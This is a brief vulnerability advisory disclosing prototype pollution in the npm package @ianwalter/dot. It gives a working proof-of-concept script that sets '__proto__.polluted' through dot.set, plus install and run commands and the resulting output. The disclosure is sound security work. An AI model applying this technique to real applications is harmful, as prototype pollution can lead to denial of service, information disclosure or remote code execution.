vulnerability prototype pollution
severity 7.3
language javascript
registry npm


@ianwalter/dot is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var dot = require("@ianwalter/dot")
var obj = {}
console.log("Before : " + {}.polluted);
dot.set(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i @ianwalter/dot # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted